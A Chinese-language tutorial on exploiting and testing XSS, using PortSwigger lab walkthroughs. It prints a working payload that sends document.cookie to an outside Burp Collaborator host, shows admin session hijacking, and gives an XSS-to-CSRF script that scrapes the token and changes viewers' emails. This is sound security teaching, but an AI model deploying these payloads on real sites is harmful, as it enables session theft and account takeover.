跨站脚本攻击(Cross-Site Scripting),为了避免与 CSS 混淆,一般简称为 XSS。XSS 作为一种典型的主要可以分为 3 种:

关于这 3 种 XSS 类型的区别,在这就不展开了,本文主要讲解 XSS 漏洞的利用场景以及如何测试反射型 XSS,当然反射型 XSS 漏洞的测试和其它 XSS 漏洞类型的测试存在很多共同之处的。通常来说,通过 XSS 漏洞攻击者可以在受害者机器上执行任何脚本的话,包括:

不过值得注意的是,反射型 XSS 总漏洞利用过程中也会遇到较多的障碍,经常可能会遇到很多限制:

典型利用场景

XSS 的利用场景其实是五花八门的,可以说只要你敢想,搞不好你就可以做得到。这里,我们可以选择两个最典型的利用场景进行讲解。在这里我主要使用 PortSwigger 的应用安全学院里面的 lab 进行讲解。

通过 XSS 漏洞盗取 cookie 可以说是最典型的利用场景了。不过现在随着 HttpOnly 的广泛应用,这一利用场景也产生了一些限制。但是 HttpOnly 也并不能完全保证 XSS 漏洞的防范,因为 HttpOnly 理论上应该覆盖所有的敏感 cookie,如果有一处没有覆盖到,就有被攻击的可能性。另外一方面,通过结合 CORS 也有突破限制的可能性。还有一个实际情况是,仍然有很多应用并没有使用 HttpOnly,本节也主要是针对这一情形的具体利用。

假设有一个博客平台,目前我们已经发现博文的评论处存在存储型 XSS 漏洞。那么如果其它用户打开这一篇博文,就可以通过这个漏洞让这名用户执行任意 JS 脚本,基本上就可以进行任何操作。如果这一名用户是管理员的话,那么危害性就更大,理论上这个管理用在这个博客可以执行的任何操作,攻击者都可以实现。这个攻击场景主要分为三步:

  1. 攻击者创建一个 Web 服务,需要保证受害者和这个服务之间是连通的。
  2. 注入 XSS 的 payload,实现通过 JS 获取受害者 cookie,并发送给攻击者创建的服务
  3. 攻击者通过获取的 cookie 则可以成为应用的合法用户并执行任何操作

创建 web 服务非常简单,可以使用 python 命令既可以创建服务,python -m SimpleHTTPServer 80。这样就可以指定一个监听 80 端口的 web 服务。其实 Burp 提供了一个非常实用的利用功能,通过 Burp Collobrator Client 就可以创建一个开放在外网的 web 服务,这样如果你在日常测试中,就无须自己准备一个带有固定 IP 的服务器来创建服务了。

3ExZJH.png

3Exlef.png

进入到 Collobrator Client,点击 Copy to clipborad 就可以将服务地址复制到剪切板。我们可以使用 curl 来进行测试:

3tuMAU.gif

我们可以看到在 client 中可以看到 DNS 请求以及相应的 HTTP 请求,这样通过 Collobrator Client 就不需要在外网自己的服务器下搭建服务。让我们继续重现上面的利用过程,首先我们先准备好要利用的 XSS 的 payload:

<script>
fetch('https://d8mzva8z7ou9zrnqkgz49jltyk4asz.burpcollaborator.net',{
    method: 'POST',
    mode: 'no-cors',
    body: document.cookie
})
</script>

然后我们只需要在 Collobrator Client 等待请求过来,不出意外的话,我们可以看到 administrator 的 cookie。

3ax38K.png

下面我们只需要打开浏览器开发者工具,总控制台中输入 document.cookie = 'session=Xn8ow3pdmd6LWktVZPJtBlI9yKzIKUX3',刷新一下页面,我们就成为管理员了。

3axGvD.png

通过 XSS 来实现 CSRF

上述的攻击手法有一定的限制之处,而且容易被受害者发现。而配合 CSRF 漏洞,攻击者可以实现执行受害者可以执行的任何操作,并且隐秘性更强。比如我们可以修改用户的邮箱,从而可以充值用户密码。如果受害者是管理员的话,甚至往往可以实现添加用户,删除用户。CSRF 漏洞的防御机制一般是通过 token 来进行防御,但是如果你的应用有 XSS 漏洞,那么这种防御机制就会失效,因为通过 JS 我们就可以获取 token。下面继续通过一个 lab 来演示这种类型的攻击方式:

这个 lab 和之前的一样,这一次我们需要通过 XSS 漏洞来配合 CSRF 漏洞来实现修改受害者的邮箱。首先我们可以通过一个普通用户登录应用,然后发现有一个可以修改邮箱的功能。

3cJFkq.png

通过 Burp 可以捕获修改邮箱的请求:

POST /email/change-email HTTP/1.1
Host: acee1f9f1f96dfe38027996900d70058.web-security-academy.net
Connection: close
Content-Length: 57
Cache-Control: max-age=0
Origin: https://acee1f9f1f96dfe38027996900d70058.web-security-academy.net
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Referer: https://acee1f9f1f96dfe38027996900d70058.web-security-academy.net/email
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7,zh-TW;q=0.6
Cookie: session=J7wtDYrnotYBeGxHRbxRQAjwWoER6iPb

email=bbb%40bbb.com&csrf=xmLrs2P4dtFVurZlCUVpJsBnvaGlL4T1

可以看到这个修改邮箱的请求包含两个参数,即 email 以及 csrf,很明显,这个请求是使用了 CSRF 防御的。那么现在可以思考一下如何来执行 CSRF。

  1. 首先请求修改邮箱功能的页面,获取页面响应。
  2. 在页面响应中匹配 csrf,然后提交修改邮箱的 POST 请求。

3ctH0J.png

<script>
var req = new XMLHttpRequest();
req.onload = function() {
    var csrf = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open("POST", "/email/change-email", true);
    changeReq.send("csrf=" + csrf + "&email=hack@hack.com");
}
req.open("GET", "/email", true)
req.send()
</script>

只要把上述的 payload 提交到 comment 中,然后提交,就可以实现任何访问这个博客评论的用户都会成为受害者,将其邮箱修改为 hack@hack.com

XSS 漏洞的测试

接下来可以聊一聊如何测试 XSS 漏洞。不管是手工测试亦或是现在比较流行的被动扫描器的自动化类型的测试,其测试方式基本也是差不多的。

对于漏洞的验证,人工测试往往比较直观,大多数都是通过 alert 弹窗的形式来验证漏洞是否存在。而对于自动化的漏洞测试工具而言,对于 XSS 漏洞的验证方式可能就会稍微复杂一点,包括验证响应的 Content-Type,然后接着验证输入点的输入是如何作用于响应中,通过对响应的解析从而验证漏洞是否利用成功。另外还有一种方式是通过 headless 浏览器去实现,让后来监听弹窗事件,这种测试方式接近于人工测试,但也更加消耗时间和性能。

总结

XSS 漏洞作为 Web 应用最为典型的漏洞之一,屡出不鲜。因为 XSS 的漏洞往往要考虑很多因素,包括转义、过滤、以及考虑到应用自身业务的需求,从而避免业务需求和防御需求的冲突。并且防御必须覆盖到应用的每一个输入点,即使仅有一个输入点存在漏洞,应用就存在被攻破的可能性。

Reference